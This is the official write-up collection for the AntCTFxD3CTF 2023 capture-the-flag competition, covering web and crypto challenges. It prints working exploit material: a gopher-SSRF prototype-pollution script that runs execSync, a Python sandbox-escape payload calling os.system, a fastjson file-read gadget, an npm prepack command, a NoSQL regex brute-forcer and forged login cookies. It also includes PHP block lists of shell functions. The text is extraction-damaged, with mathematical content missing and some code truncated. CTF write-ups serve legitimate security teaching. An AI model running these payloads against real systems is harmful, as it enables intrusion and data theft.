AntCTFxD3CTF 2023 Official Writeups
AntCTFxD3CTF 2023 Official Writeups
AntCTFxD3CTF 2023 Official Writeups
Web
ezjava
The challenge simulates the architecture of a real-world dynamic configuration center. The
registry side is used to store relevant configurations, while the server side periodically
synchronizes the relevant configurations. In this context, the configurations referred to are the
blacklist for Java native deserialization.
As the provided code reveals, it can be seen that there is a Hessian deserialization vulnerability on
the registry side. However, since it uses Sofa Hessian, it supports loading Hessian blacklists to
prevent common Hessian exploitation chains.
Therefore, the main challenge now is to find an available getter (without access to the network)
and trigger the invocation of toString() .
ContinuationDirContext has several getters that can trigger the getTargetContext function.
To trigger the NamingManager.getContext function using the resolvedObj object of the class
property cpe , it is important to understand the principles behind JNDI.
If you are familiar with the JNDI-related principles, you may know that if the currently passed obj
is a reference object, it can trigger the getObjectInstance function of any BeanFactory .
Subsequently, it becomes relatively easy to consider using Tomcat's Expression Language (EL) to
execute arbitrary code. There are various exploitation methods related to this, but they won't be
further elaborated here.
TomcatRefBullet.java To accomplish this, you can first create a malicious JAR file, and then load it
into the system.
Constructing a serialization payload that deviates from the normal format triggers an exception to
be thrown. However, due to recursive parsing, the underlying obj is parsed first, which allows
directly triggering the toString function of the current obj at the point of the exception being
thrown.
By combining these two parts, it is possible to achieve arbitrary code execution without accessing
the network.
This involves performing deserialization first, followed by updating the current blacklist.
Therefore, if we can control the content returned by the blacklist/jdk/get endpoint on the
registry, we can trigger the vulnerability.
As we have already gained the ability to execute arbitrary code on the registry in the previous
section, we can attempt to overwrite the response of the current interface using a webshell to
manipulate the registry's behavior. There are already numerous articles available online
discussing various techniques using Tomcat or Spring webshells to overwrite interface responses.
For more details, you can refer to my example exploit code here.
First, by overwriting the blacklist/jdk/get interface on the registry with a webshell, we can
return an empty list to replace the original denyClasses . This step effectively removes the
security protection on the server side.
After removing the security protection for Java native deserialization, we can exploit the
dependencies on the server side. One such dependency is the presence of Fastjson. It is
straightforward to consider using the combination of fastjson and templateImpl to achieve
arbitrary code execution.
Subsequently, due to the limitations of not accessing the network, we can only override the
server-side status interface to return the desired content. The method used is similar to the
previous approach, using a webshell to overwrite the interface response and retrieve the flag. You
can refer to the exploit code here.
Here we need to dig into the communication mechanism and multi-process model of egg.js. You
will find that this event can be triggered by communicating with a local high port (using the
previous SSRF), so that you can completely control the parameters of the watch event and trigger
the prototype pollution.
https://github.com/advisories/GHSA-prm5-8g2m-24gg
Combined with the previous object injection vulnerability, the _bsontype attribute can be injected,
and the field whose _bsontype type is Code can be injected into mongo. When mongo fetches this
data, it will deserialize this field. When the evalFunctions attribute is not empty, it will eventually
eval the code we stored in mongo to achieve code execution.
Note that mongodb queries will fail after pollution, so we need to win the race. Do multiple
queries and then pollute, some of the queries will successful return and trigger the gadget to
remote code execution.
The Leader node will open a random local high-order port to accept connections from Followers,
and their's no security checks in their communication.
Exploit
.
├── const.js
├── exp.js
├── package-lock.json
├── package.json
├── protocol
│ ├── byte_buffer.js
│ ├── packet.js
│ └── request.js
└── utils.js
'use strict';
'use strict';
/**
* 0 1 2 4
12
* +---------+---------+-------------------+-------------------------------------
------------------------------------------+
* | version | req/res | reserved |
request id |
* +---------------------------------------+-------------------------------------
--+---------------------------------------+
* | timeout | connection object length
| application object length |
* +---------------------------------------+-------------------+-----------------
--+---------------------------------------+
* | conn object (JSON format) ... |
app object |
* +-----------------------------------------------------------+
|
* | ...
|
* +-----------------------------------------------------------------------------
------------------------------------------+
*
* packet protocol:
* (1B): protocol version
* (1B): req/res
* (2B): reserved
* (8B): request id
* (4B): timeout
* (4B): connection object length
* (4B): application object length
* --------------------------------
* conn object (JSON format)
* --------------------------------
* app object
*/
class Packet {
/**
* cluster protocol packet
*
* @param {Object} options
* - @param {Number} id - The identifier
* - @param {Number} type - req/res
* - @param {Number} timeout - The timeout
* - @param {Object} connObj - connection object
* - @param {Buffer} data - app data
* @class
*/
constructor(options) {
this.id = options.id;
this.type = options.type;
this.timeout = options.timeout;
this.connObj = options.connObj;
this.data = typeof options.data === 'string' ? Buffer.from(options.data) :
options.data;
}
get isResponse() {
return this.type === Constant.RESPONSE;
}
encode() {
const header = Buffer.from([ Constant.VERSION, this.type, 0, 0 ]);
const connBuf = Buffer.from(JSON.stringify(this.connObj));
const appLen = this.data ? this.data.length : 0;
byteBuffer.reset();
byteBuffer.put(header);
byteBuffer.putLong(this.id);
byteBuffer.putInt(this.timeout);
byteBuffer.putInt(connBuf.length);
byteBuffer.putInt(appLen);
byteBuffer.put(connBuf);
if (appLen) {
byteBuffer.put(this.data);
}
return byteBuffer.array();
}
static decode(buf) {
const isResponse = buf[1] === Constant.RESPONSE;
const id = new Long(
buf.readInt32BE(8), // low, high
buf.readInt32BE(4)
).toNumber();
const timeout = buf.readInt32BE(12);
const connLength = buf.readInt32BE(16);
const appLength = buf.readInt32BE(20);
let data;
if (appLength) {
data = Buffer.alloc(appLength);
buf.copy(data, 0, 24 + connLength, 24 + connLength + appLength);
}
return {
id,
isResponse,
timeout,
connObj,
data,
};
}
}
module.exports = Packet;
'use strict';
module.exports = Request;
function onReadable() {
header = null;
bodyLength = null;
body = null;
if (!header) {
header = socket.read(24);
if (!header) {
return;
}
}
if (!bodyLength) {
bodyLength = header.readInt32BE(16) + header.readInt32BE(20);
}
body = socket.read(bodyLength);
if (!body) {
return;
}
// first packet to register to channel
const packet = Packet.decode(Buffer.concat([header, body], 24 + bodyLength));
if(packet.data){
console.log(transcode.decode(packet.data));
}
console.log(packet)
}
port = 64203
host = "127.0.0.1"
const socket = net.connect({
port, host
});
socket.once('connect', () => {
// set timeout back to zero after connected
socket.setTimeout(0);
console.log("connected")
});
socket.on('readable', onReadable);
socket.once('close', () => { console.log('close') });
function heartBeatPacket() {
const heartbeat = new Request({
connObj: {
type: 'heartbeat',
},
timeout: 1000
});
return heartbeat.encode();
}
//
// header.readInt32BE(16)
// console.log(p1.encode().readInt32BE(16))
// console.log(p1.encode().readInt32BE(20))
//console.log(heartBeatPacket().toString('base64'))
socket.write(p1.encode())
// socket.write(heartBeatPacket())
//console.log(p3.encode().toString('base64'))
socket.write(p3.encode())
// heartbeat = heartBeatPacket()
// socket.write(heartbeat)
'use strict';
exports.VERSION = 1;
exports.REQUEST = 0;
exports.RESPONSE = 1;
id = 0
function nextId() {
id += 1;
if (id >= 999) {
id = 1;
}
return id;
}
exports.nextId = nextId;
{
"dependencies": {
"byte": "^2.0.0",
"long": "^5.2.1",
"serialize-json": "^1.0.3"
}
}
2. Final exploit
import requests
from concurrent.futures import ThreadPoolExecutor
def snapshot():
burp0_url = host + "/snapshot?url=http://xxxx/1.php"
# Response Header:
# _bsontype: Code
# code: require('child_process').execSync('touch /tmp/pwned');delete
Object.prototype.evalFunctions
requests.get(burp0_url)
# prototype pollution
def pollution():
# curl -v 'http://127.0.0.1:7001/snapshot?
url=gopher://127.0.0.1:46709/_%2501%2500%2500%2500%2500%2500%2500%2500%2500%2500
%2500%2501%2500%2500%25EA%2560%2500%2500%25003%2500%2500%2500%2500%257B%2522type
%2522%253A%2522register_channel%2522%252C%2522channelName%2522%253A%2522Watcher%
2522%257D%2501%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2500%2500%
2503%25E8%2500%2500%2500Z%2500%2500%2500%253A%257B%2522type%2522%253A%2522invoke
%2522%252C%2522channelName%2522%253A%2522Watcher%2522%252C%2522oneway%2522%253At
rue%252C%2522method%2522%253A%2522_onChange%2522%252C%2522argLength%2522%253A1%2
57D%2500%2500%25006path%257C%252Ftmp%252Fsnapshots%252F__proto__%252Fa%257Cevent
%257C233%255E%255E%255E%255E%25240%257C1%257C2%257C3%255D'
burp0_url = host + "/snapshot?
url=gopher://127.0.0.1:"+str(lp)+"/_%2501%2500%2500%2500%2500%2500%2500%2500%250
0%2500%2500%2501%2500%2500%25EA%2560%2500%2500%25003%2500%2500%2500%2500%257B%25
22type%2522%253A%2522register_channel%2522%252C%2522channelName%2522%253A%2522Wa
tcher%2522%257D%2501%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2500
%2500%2503%25E8%2500%2500%2500Z%2500%2500%2500F%257B%2522type%2522%253A%2522invo
ke%2522%252C%2522channelName%2522%253A%2522Watcher%2522%252C%2522oneway%2522%253
Atrue%252C%2522method%2522%253A%2522_onChange%2522%252C%2522argLength%2522%253A1
%257D%2500%2500%2500Bpath%257C%252Ftmp%252Fsnapshots%252F__proto__%252FevalFunct
ions%257Cevent%257C233%255E%255E%255E%255E%25240%257C1%257C2%257C3%255D"
requests.get(burp0_url)
def leak_port():
burp0_url = host + "/snapshot?url=dict://127.0.0.1"
try:
for i in range(0, 65536):
print(str(i)+" ", end="", flush=True)
url = burp0_url + ":" + str(i)
res = requests.get(url, timeout=1)
if not 'error' in res.text:
print("\nfound: "+ str(i))
return i
except Exception as _:
return i
if __name__ == '__main__':
host = "http://139.196.111.179:30102"
# host = "http://8.136.22.43:2335"
lp = leak_port()
# lp = 39121
snapshot()
# Create a thread pool with 4 worker threads
with ThreadPoolExecutor(max_workers=300) as executor:
# Start the load operations and mark each future with its URL
executor.submit(pollution)
for _ in range(299):
executor.submit(trigger)
Escape Plan
1. First, directly accessing the webpage reveals the source code.
2. After auditing the source code, it becomes apparent that the focus is on trying to bypass the
filtering mechanism for sandbox escape.
3. Disabling numbers: You can use constructs like len to create 0 and 1 and gradually
combine them to form the desired numbers.
4. Disabling letters: You can use Unicode to bypass the restriction. For example, you can
replace e with ᵉ .
5. Other characters: By using str(request) along with slicing, you can retrieve the passed
payload.
6. Finally, without any feedback, the issue can be resolved through out-of-band
communication.
From this perspective, this problem is actually quite simple (at least compared to other web
challenges in this competition).
However, the aforementioned solution is actually unintended. When creating the challenge, I
accidentally overlooked the impact of the import statement on the target environment. Hence,
any solution that relies on request is beyond my expectations. I discovered this issue only on the
first day of the competition. Initially, I intended to provide a solution to address this
"vulnerability," but considering that I failed to consider all possible scenarios and the relatively
small number of solved web challenges, I decided not to burden participants any further and
considered it a bonus for everyone.
After reviewing the submitted write-ups, I noticed that most of them were based on using
request . So, if you're interested, you can think about whether it's possible to actively import a
desired package in a different way without relying on request . Only a few teams found the
intended solution in the submitted write-ups, so if you're intrigued, feel free to challenge yourself.
The intended solution is provided below. If you prefer not to see the answer, you can stop reading
here.
Here is the intended solution for this problem. I will provide it without further explanation, so you
can analyze and dissect it on your own:
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
exp = '__import__("os").system("sleep 5")'
exp_m = f"ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])]
[::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])]
[::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])]
[::len(list(dict(aa=()))[len([])])]](list(dict({base64.b64encode((exp+' '*(3-
len(exp)%3)).encode()).decode()}=()))[len([])]))"
exp_m = exp_m.translate({ord(str(i)): u[i] for i in range(10)})
requests.post("http://127.0.0.1:8080/", data={"cmd":
base64.b64encode(exp_m.encode())}).text
Lastly, let's consider the possibility of exploitation if [ and ] are also restricted or disabled,
building upon the previous solution.
d3forest
1. You can find an SSRF vulnerability in the /getOther route. such as:
/getOther?route=http://host:port/
2. Forest requests will automatically deserialize the response data into the desired data type.
The default JSON converter used is fastjson. And fastjson version 1.2.80 is vulnerable to a
security issue.
3. so you need to find a gadget(maybe rce). Here is a gadget that reads files.
[{
"1ue": {
"@type": "java.lang.Exception",
"@type": "com.d3ctf.exceptions.ForestRespException"
}
},
{
"2ue": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "com.d3ctf.exceptions.ForestRespException",
"response": ""
}
}
},
{
"3ue": {
"@type": "com.dtflys.forest.http.ForestResponse",
"@type":
"com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity": {
"@type": "org.apache.http.entity.AbstractHttpEntity",
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
${exp}
]
}
]
}
}
}
},
{
"4ue": {
"$ref": "$[2].3ue.entity.inStream"
}
},
{
"5ue": {
"$ref": "$[3].4ue.bOM.bytes"
}
},
{
"6ue": {
"@type":
"com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity": {
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"
{
"$ref": "$[4].5ue"
},
"start"
:
0,
"end"
:
0
},
"charsetName"
:
"UTF-8",
"bufferSize"
:
1024
},
"boms"
:
[
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
1
]
}
]
}
}
}
}
]
4. This gadget will echo different responses depending on whether or not the content of ${exp}
is correct, so you can write a script to conduct blind injection. Due to the Java file protocol
trick, it is possible to traverse directories and read files.
5. Thus, replace the content of ${exp} with bytes and attempt your exp. this is my demo(https://
github.com/luelueking/My-CTF-Challenges/tree/main/D3CTF-2023/d3forest-exp).
Access the root directory files using "file:///" to traverse through them and visit vps:8002/exp.
if (!function_exists('is_signin')) {
/**
* 判断是否登录
* @author 蔡伟明 <314013107@qq.com>
* @return mixed
*/
function is_signin()
{
$user = session('user_auth');
if (empty($user)) {
// 判断是否记住登录
if (cookie('?uid') && cookie('?signin_token')) {
$UserModel = new User();
$user = $UserModel::get(cookie('uid'));
if ($user) {
$signin_token =
data_auth_sign($user['username'].$user['id'].$user['last_login_time']);
if (cookie('signin_token') == $signin_token) {
// 自动登录
$UserModel->autoLogin($user);
return $user['id'];
}
}
};
return 0;
}else{
return session('user_auth_sign') == data_auth_sign($user) ?
$user['uid'] : 0;
}
}
}
// 排序
ksort($data);
// url编码并生成query字符串
$code = http_build_query($data);
// 生成签名
$sign = sha1($code);
}
sha1("0=admin1" + "1301984359") = ab5f486a24426d9158c99507da45ae3bac476dd6
Cookie: dolphin_uid=1;
dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6
return [
// 拒绝ie访问
'deny_ie' => false,
// 模块管理中,不读取模块信息的目录
'except_module' => ['common', 'admin', 'index', 'extra', 'user', 'install'],
// 禁用函数
'disable_functions' => [
'eval',
'passthru',
'exec',
'system',
'chroot',
'chgrp',
'popen',
'ini_alter',
'ini_restore',
'dl',
'openlog',
'syslog',
'readlink',
'symlink',
'popepassthru',
'phpinfo'
]
];
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini
_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitp
id,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_w
exitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_er
ror,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_
getpriority,pcntl_setpriority,imap_open,apache_setenv,putenv
Suprisingly, thinkphp records SQL logs under ./runtime, and what we just did is changing admin's
nickname.The nickname is firstly stitched into a SQL command, then gets recorded to the log.
3.Wipe the cache. This step is necessary ,or the nickname won't be updated.
__token__=d8c89447445b0095fb569725f91f0505&nickname=../runtime/log/202304/29.log
&email=&password=&mobile=&avatar=0&x=phpinfo();
It is found that there is nosql injection and waf at the login, and players need to test it by
themselves
Log in and find hint2, hint2 hints the vulnerability of reading arbitrary files
/dashboardIndex/ShowExampleFile?filename=/proc/self/cmdline
When reading, if the filename parameter value has app, hacker will be echoed
Need to use the feature of readFileSync to bypass (there are many related articles on the Internet
that analyze the specific principles)
Second url encoding may be required (the browser will automatically decode it once for you)
/dashboardIndex/ShowExampleFile?
filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname
]=&filename
[pathname]=/proc/self/cwd/%2561%2570%2570%252e%256a%2573
After reading app.js and other source codes, it is found that npm pack will be executed in
/PackDependencies, and according to the official documentation of npm, you can set the prepack
command in the scripts field, which will be executed before npm pack (you can use this to
complete any command implement)
You can set dependencies in the /SetDependencies route, using the override feature of
Object.assign
{
"name": "d3ctf2023",
"version": "1.0.0",
"dependencies": {
...
},
"scripts": {
"prepack": "/readflag >> /tmp/success.txt"
}
}
The above operations require admin privileges. The backend check logic is: the admin user name
and the password corresponding to admin are required to write admin privileges in the current
session
So you need to inject the admin password according to the nosql blind injection
import requests
remoteHost = "localhost:8080"
burp0_url = f"http://{remoteHost}/user/LoginIndex"
dict_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
password = ""
for i in range(50):
for i in dict_list:
burp0_json={"password": {"$regex": f"^{password + i}.*"}, "username":
{"$regex": "admin"}}
res = requests.post(burp0_url, json=burp0_json,
allow_redirects=False)
if res.status_code == 302:
password += i
print(password)
break
admin/dob2xdriaqpytdyh6jo3
d3cloud
laravel-admin
By default, any file can be uploaded at the avatar upload location.The reason for the vulnerability
is that the file suffix was not filtered.The file management plugin also relies on
FilesystemAdapter.php for processing files. So I added filtering for file suffix names and added
automatic decompression zip in the challenge. Command execution caused by unzip
concatenation of popen().
step1:
The default management backend address is admin, and the account and password are also
admin.
step2:
download FilesystemAdapter.php, you will find something differernt from the original file
step3:
Windows file names cannot have special characters, so capture packets to construct commands
like this
Generating shell.php will be located in the root directory of the website. actually, you can find the
web absolute path by the errors.
Easter egg:
d3icu
Among the various session persistence solutions available for Tomcat, one approach is to store
session data in Redis.
If we read the source code, we can find that session data is serialized using the serialization
functionality provided by the JDK before being written to Redis. When reading the data, it
undergoes deserialization.
If an attacker can write arbitrary data to Redis, they can carry out a deserialization attack.
To make the attack feasible, we added CommonsCollections 3.1 as a dependency.
Coincidentally, the cache program provides caching functionality that can cache the content of an
HTTP response to Redis.
Later, there will be a headless browser that can access /demo/index.jsp in Tomcat and capture
a screenshot to return to the user.
This is a Node.js application. If you have good reading habits, you may have noticed in
package.json that the version of puppeteer is very old. Each version of puppeteer is only
compatible with a specific version of Chromium. The current version of puppeteer used is 6.0.0,
which corresponds to Chromium version 89.
In addition, the load balancing is configured in the question, with a total of three Tomcat
containers providing HTTP services. To trigger the RCE of Chromium stably, the index.jsp of all
three Tomcat containers needs to be rewritten.
https://github.com/ran-jit/tomcat-cluster-redis-session-manager
https://commons.apache.org/proper/commons-collections/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21220
https://cjovi.icu/CVE/1586.html
d3go
directory traversal to dump source code
The incorrect use of go embed * results in the source code being packed into the program.
This, combined with incorrect static file serving, results in /../ path listing directory to get the
source code.
1. the administrator account is the first user in the database, and this user is currently unable
to log in
2. For the /register api, the controller uses c.ShouldBindJSON() , and the db layer writes
the variables bound to it directly to the database with db.Save() .
So you can construct the following payload to inject the deletedat field, so that the original
admin is soft-deleted.
{"id":1,"deletedat":"2011-01-01T11:11:11Z","createdat":"2011-01-01T11:11:11Z"}
Note that the createdat field is of type datetime , if this field is left blank, it will update 0000-00-
00 00:00:00 to mysql, which is not within the allowed range of datetime.So you need to
manually specify it.
1. unzip function does not check directory traversal, can write arbitrary files through directory
traversal
2. the URL of self-update supports hot update by configuration file
3. the files in unzipped directory will be served
..
|- ..
|- config.yaml
|- exp
config.yaml
server:
noAdminLogin: true
database:
user: root
password: root
host: 127.0.0.1
port: 3306
update:
enabled: true
url: http://127.0.0.1:8080/unzipped/exp
interval: 1
config.yaml will overwrite the original config and trigger a self-update to the exp file we
uploaded in a minute or so.
Crypto
d3noisy
final 8 solutions.
the main content is the Chinese Remainder Theorem (CRT), and lattice reduction, transforming
the noisy CRT into a subset sum problem.
def leak(N):
p,S = [],[]
for i in range(15):
p.append(getPrime(321))
r = [N[_]%p[i] for _ in range(15)]
shuffle(r)
S.append(r)
return p, S
The key to this question is to restore large integers of 3211bits in N, and add them
together to obtain the private key and then decrypt. The task gives 321bits prime numbers
.
solving method
That is to say, is the subset sum of , and according to the topic data, the number of
bits of the modulus is , and is 3211 bits. It is conceivable to use the
knapsack latticeto do lattice-based reduction, set ( ): the lattice is as follows:
As long as , the target vector is , since the
format of each is the same as the above formula, it is enough to take the first m vectors after
lattice reduction.
Unexpected:
Since the overall scale of this question is relatively small, which is equivalent to only , using
some optimization methods such as meeting in the middle (space for time) can reduce the
complexity, thereby achieving brute force cracking and recovering the private key.
Exp:
B = getPrime(3211)
P = 1
for i in range(n):
P *= p[i]
L = []
for i in range(n):
t = inverse(P//p[i],p[i])
L.append(t*(P//p[i]))
BB = matrix(n*m+1)
BB[0,0] = P
for i in range(n):
for j in range(m):
t = i*m + j
BB[t+1,t+1] = B
BB[t+1,0] = S[i][j] * L[i]
red = BB.LLL()
pro = 0
for i in range(n):
pro ^= int(red[i][0])
pro = nextprime(int(pro))
print(pro)
print(long_to_bytes(pow(c,pro,nn)))
#flag = b'antd3ctf{0c85f77e-bfee-da57-78f2-e961ffd4ca45}'
d3sys
Server implements a class D3_ENC ,which encrypts message by CTR-SM4 and implements
Authentication mechanism by CRT-RSA .
1st part(interaction time within 60s)
Authentication Mechanism(get_tag)
Registration Mechanism:
Input username , it should satisfy length < 20. Randomly generate an 8-byte nonce.
Server encrypts the token by CTR-SM4 ,records the Username and tag in the dictionary and
sends username,encrypted token and nonce to client.
Login Mechanism
Server decrypts the encrypted token , and judges if the token satisfies followings:
tag = dict[username].tag
username in dict.keys
username = token["username"]
|time-token['time']|<1
admin=1
If the token satisfies these all, you can login in as Admin and do more you want to do.
Note: Here I forgot to write unpad , resulting in ID lengths only a few can be taken.
How to Attack
Then you can change the block of plaintext by xor . But the tag can't be changed, so you can
construct username to get an insensitive block.
1. choose len( username )=15, it makes nonce occupy a block(which is insensitive block).
2. xor admin from 0 to 1
3. xor nonce block makes the authdata after the nonce invariant.
4. json.loads(plain) => plain needs to be in UTF-8 characters, so should brute for some
times(about 10 times).
menu:
====---------------------------------------------------------------------------
---------------------------=
| | +----------------------------------------------------------
-----------+ |
| | | [G]et_dp_dq [F]lag [T]ime [E]xit
| |
| | +----------------------------------------------------------
-----------+ |
====---------------------------------------------------------------------------
---------------------------=
The decryption exponents of CRT-RSA is additionally blinded, and only the lsb of and the
encrypted flag can be obtained.
The content involved here can be implemented by reading the paper of AC22 or EC22, but here I
tested the tk script on Github. Using the parameters given in the paper, but I don't know if the
method I used is wrong, I can only go to 170bits, so I wrote one with General's strategy.
In the players' write-ups, I saw that most of the solved methods were directly changed to the
script.
I also limited the bound of coppersmith script from defund, but there were still players who ran
out by high parameters.
d3bdd
Background
There are two main attack methods for LWE: primal attack and dual attack. In theory, the
complexity of these two attacks is similar. But the implementation of primal attack is quite simple,
and the actual complexity is lower than dual attack. So in CTF, we always use primal attack, not
the dual attack. But resently, the theoretical complexity of dual attack with FFT distinguisher[1,2] is
slightly lower than primal attack.(but there are still some problems in their work[3]), so I want to
introduce dual attack to you with this CTF challenge.
One difference between dual attack and primal attack is that dual attack reduces the LWE
problem into an aSVP problem, not the uSVP problem. And if a lattice have special properties, its
left kernel has an easy-to-find and very short vector, then the complexity of the dual attack will be
much smaller than that of the primal attack, which is the main idea of this challenge.
The challenge is mainly divided into two parts, the PRNG and the BDD problem on an ideal lattice.
My expectation is that the polynomial generated by using an inappropriate PRNG has an very
short vector that is easy to find , and then use dual attack to solve the BDD problem.
Unexpected Solution
None of the teams that solved the problem in the competition solved the problem in the expected
way.
This is due to the use of when selecting the modulus polynomial of the polynomial ring.
This polynomial has many small factors, especially and , the RLWE problem
mod these two factors only needs to reduce the 256-dimensional lattice, and because the noise is
very small, the result can be solved. From this, the value of can be obtained
through the CRT algorithm. Although the value of cannot be obtained (the
dimension of the lattice reaches 512), but because the value of is a flag, it is a printable and
meaningful string, so Players can judge the correctness of the flag by guessing the words and
checking the hash.
The reason for the unexpected occurrence is mainly because of the selection of the modular
polynomial. I should select as the modular polynomial.
Expected Solution
Dual Attack
Dual attack can judge whether a pair (A,b) is a LWE instance. If it conforms, then
Since and are small, and are also small, so is small too.
But if this pair (A,b) is not an instance of LWE, then should be uniformly distributed, expected
to be around , through which we can solve the decision-LWE problem.
We can enumerate a part of s, for example, let s = (s1 | s2), and enumerate the value of s1
If the guessed s1 is correct, is an LWE instance, but not vice versa, so we can find the
complete by enumerating.
Ideal Lattice
How to find such ? First of all, we need to observe the shape of Lattice A. If the modulo
polynomial is , the lattice is like this:
For example,the pattern like , in the first two rows, only in the second column
near the diagonal line do not match, the others conform to this pattern.
Then if it multiplies the first two rows of A, almost every dimension of the result will be 0, and only
one dimension is not 0. Therefore, our goal is to find that satisfies the formula like (7), and then
we can use dual attack to solve the challenge.
PRNG
Let . Then
This f multiplied by the first 17 rows of A has been able to make most of the dimensions of the
result 0, but since the f in the challenge is randomly selected, the value is very large. We need a
smaller f.
To solve this, we can take a few more n and sum the formula (9), that is
Under the parameter conditions of this challenge, taking k to about 80 can have relatively good
results. But it also means that we need to enumerate 80bit , which is not acceptable. However,
the s in the challenge is not a random value. It has a length of 9 bytes (72-bit) flag header
antd3ctf{ (coincidentally, the flag header is really long), so we needn't to enumerate too much.
m is not q?
Here, we encounter another important problem. The above calculation is established under
modulus m, while the modulus of LWE is q, and m%q is also quite large. If this problem is not
solved, the vector obtained above is unusable.
is a vector, and since A is smaller than m, g will only be slightly larger than f', at most k times of f'
(k is the dimension of f'), but it is almost impossible to be so large in practice.
Additionally, in the last year(leak_dsa, a crypto challenge of d3ctf2022), we used a trick that can
balance an item by multiplying it by a magic value.
Theoretically, the q_1 and q_2 obtained in this way will be around , but the m I have chosen in
this challenge is a bit special. Its q_1 = 5049, q_2 = -6683. They are much smaller than the
expected result, so the success rate in the dual attack will be higher, but if the size of the obtained
result is around , it is still theoretically possible to solve with dual attack, but It may be
necessary to obtain more vectors, higher dimensions or use more techniques such as sieving or
FFT distinguisher and so on.
Finally, in the experiment, if you guessed correctly, the value of on the right side of the
equation is about q/100, which is about 1/50 of the expected value of choosing uniformly. So the
flag can be computed by a very high probability.
Since the success rate is not 100%, I additionally gave the hash of the flag to provide convenience
for players to check whether the flag is correct.
Reference
[1] Q. Guo and T. Johansson, ‘Faster Dual Lattice Attacks for Solving LWE with Applications to
CRYSTALS’, in Advances in Cryptology – ASIACRYPT 2021, M. Tibouchi and H. Wang, Eds., in Lecture
Notes in Computer Science, vol. 13093. Cham: Springer International Publishing, 2021, pp. 33–62.
doi: 10.1007/978-3-030-92068-5_2.
[2] MATZOV. (2022). “Report on the Security of LWE: Improved Dual Lattice Attack”. Zenodo. http
s://doi.org/10.5281/zenodo.6412487
[3] L. Ducas and L. N. Pulles, ‘Does the Dual-Sieve Attack on Learning with Errors even Work?’. http
s://eprint.iacr.org/2023/302
d3pack
This challenge is based on the affine hidden subset sum problem[1]. Given satisfying
, find .
The key to solving this problem is to use the concept of an orthogonal lattice. Given a lattice
, its orthogonal lattice is defined as :
Solving method
For this problem, we denote by the lattice generated by and the vectors , and by the
lattice generated by the vectors only.
To solve this challenge, the first step is to compute the completion lattice .
Then compute an LLL-reduced basis of and extract the first basis vectors to obtain
.
Next, we compute using the BKZ algorithm[1][2], and the first basis vectors of
LLL-reduced basis for is .
Finally, we utilize the greedy algorithm described in the article[1] to recover , and then
determine by solving linear equations over the field modulo .
exp:
# https://eprint.iacr.org/2020/461.pdf
from Crypto.Util.number import *
def allpmones(v):
return len([vj for vj in v if vj in [-1, 0, 1]]) == len(v)
def recoverBinary(M5):
lv = [allones(vi) for vi in M5 if allones(vi)]
n = M5.nrows()
for v in lv:
for i in range(n):
nv = allones(M5[i] - v)
if nv and nv not in lv:
lv.append(nv)
nv = allones(M5[i] + v)
if nv and nv not in lv:
lv.append(nv)
return Matrix(lv)
def kernelLLL(M):
n = M.nrows()
m = M.ncols()
if m < 2 * n:
return M.right_kernel().matrix()
K = 2 ^ (m//2) * M.height()
MB = Matrix(ZZ, m + n, m)
MB[:n] = K * M
MB[n:] = identity_matrix(m)
MB2 = MB.T.LLL().T
assert MB2[:n, : m - n] == 0
Ke = MB2[n:, : m - n].T
return Ke
n = 50
m = 180
p= # from output.txt
h= # from output.txt
e= # from output.txt
e = vector(e)
h = vector(h)
print("n =", n, "m =", m)
beta = 2
tbk = cputime()
while beta < n:
if beta == 2:
M5 = ke.LLL()
else:
M5 = M5.BKZ(block_size=beta)
if beta == 2:
beta = 10
else:
beta += 10
a = [long_to_bytes(ZZ(i)).strip() for i in a]
print(a[-1])
Reference
[1] Coron J S, Gini A. A polynomial-time algorithm for solving the hidden subset sum
problem[C]//Advances in Cryptology–CRYPTO 2020: 40th Annual International Cryptology
Conference, CRYPTO 2020, Santa Barbara, CA, USA, August 17–21, 2020, Proceedings, Part II.
Cham: Springer International Publishing, 2020: 3-31.(https://eprint.iacr.org/2020/461.pdf)
[2] Phong Q. Nguyen and Jacques Stern. Merkle-hellman revisited: A cryptanalysis of the Qu-
Vanstone cryptosystem based on group factorizations. In Advances in Cryptology - CRYPTO ’97,
17th Annual International Cryptology Conference, Santa Barbara, California, USA, August 17-21,
1997, Proceedings, pages 198–212, 1997.
(https://link.springer.com/content/pdf/10.1007/BFb0052236.pdf)
Reverse
d3recover
